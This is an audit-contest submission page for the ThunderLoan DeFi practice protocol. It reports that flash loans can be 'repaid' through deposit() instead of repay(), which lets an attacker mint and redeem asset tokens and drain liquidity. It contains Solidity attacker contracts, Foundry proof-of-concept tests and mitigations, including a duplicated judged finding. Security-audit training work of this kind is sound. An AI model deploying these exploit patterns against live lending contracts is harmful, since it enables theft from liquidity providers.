Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Flash loan repayment can be bypassed by calling deposit() instead of repay(), allowing attacker to steal funds

Root + Impact

The flashloan() function only checks that the ending balance of the AssetToken is greater than or equal to startingBalance + fee. Since deposit() also transfers tokens to the AssetToken contract, an attacker can call deposit() instead of repay() during a flash loan to pass this check, obtaining AssetTokens for free and effectively stealing funds.

// ThunderLoan.sol - flashloan()
// @> Only checks ending balance, doesn't verify repay() was called
uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
// @> deposit() transfers tokens to assetToken - same effect as repay()
function deposit(IERC20 token, uint256 amount) external {
...
token.safeTransferFrom(msg.sender, address(assetToken), amount); // @> passes the check!
}

Description

ThunderLoan protocol allows users to take flash loans and return the borrowed amount plus a fee in the same transaction. The flashloan() function verifies repayment by checking that the AssetToken's ending balance is greater than or equal to startingBalance + fee. However, this check does not verify that repay() was actually called. Since deposit() also transfers tokens directly to the AssetToken contract, an attacker can call deposit() instead of repay() during executeOperation(). This passes the balance check while minting AssetTokens to the attacker, which can later be redeemed via redeem() to withdraw the underlying tokens. The attacker effectively takes a flash loan for free and drains liquidity provider funds.

// @> flashloan() only checks balance, not how tokens were returned
uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
// @> s_currentlyFlashLoaning is true, so deposit() works during flashloan
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
token.safeTransferFrom(msg.sender, address(assetToken), amount); // @> passes the check!
}

Risk

Likelihood:

Any user who takes a flash loan can call deposit() instead of repay() during executeOperation().
No special permissions or conditions are required beyond having enough tokens to cover the amount + fee for the deposit call.

Impact:

Attacker obtains AssetTokens for free without truly repaying the flash loan.
Attacker then calls redeem() to withdraw underlying tokens, effectively stealing funds from liquidity providers.
The protocol loses all deposited liquidity over time.

Proof of Concept

To reproduce, add the following attacker contract and test to ThunderLoanTest.t.sol, then run:
forge test --match-test testFlashLoanBypassViaDeposit -vvvv

ThunderLoan thunderLoan;
IERC20 token;
AssetToken assetToken;
constructor(ThunderLoan _thunderLoan, IERC20 _token, AssetToken _assetToken) {
thunderLoan = _thunderLoan;
token = _token;
assetToken = _assetToken;
}
function executeOperation(
address _token, uint256 amount, uint256 fee,
address, bytes calldata
) external returns (bool) {
// Instead of repay(), call deposit() to pass the balance check
token.approve(address(thunderLoan), amount + fee);
thunderLoan.deposit(IERC20(_token), amount + fee);
return true;
}
}
function testFlashLoanBypassViaDeposit() public setAllowedToken hasDeposits {
uint256 amountToBorrow = 50e18;
uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
AttackerContract attacker = new AttackerContract(
thunderLoan, tokenA, thunderLoan.getAssetFromToken(tokenA)
);
tokenA.mint(address(attacker), fee);
uint256 balanceBefore = tokenA.balanceOf(address(attacker));
thunderLoan.flashloan(address(attacker), tokenA, amountToBorrow, "");
// Attacker redeems AssetTokens to get underlying tokens back
attacker.redeemAssetTokens(thunderLoan, tokenA);
uint256 balanceAfter = tokenA.balanceOf(address(attacker));
// Attacker stole funds - balance after > balance before
assertGt(balanceAfter, balanceBefore);
}

Recommended Mitigation

  • // No check preventing deposit() during flash loan

  • // Add a check in deposit() to prevent calls during active flash loan:
    Add a check in deposit() to revert if a flash loan is currently active for that token:

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ if (s_currentlyFlashLoaning[token]) {
+ revert ThunderLoan__CurrentlyFlashLoaning();
+ }
AssetToken assetToken = s_tokenToAssetToken[token];
...
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!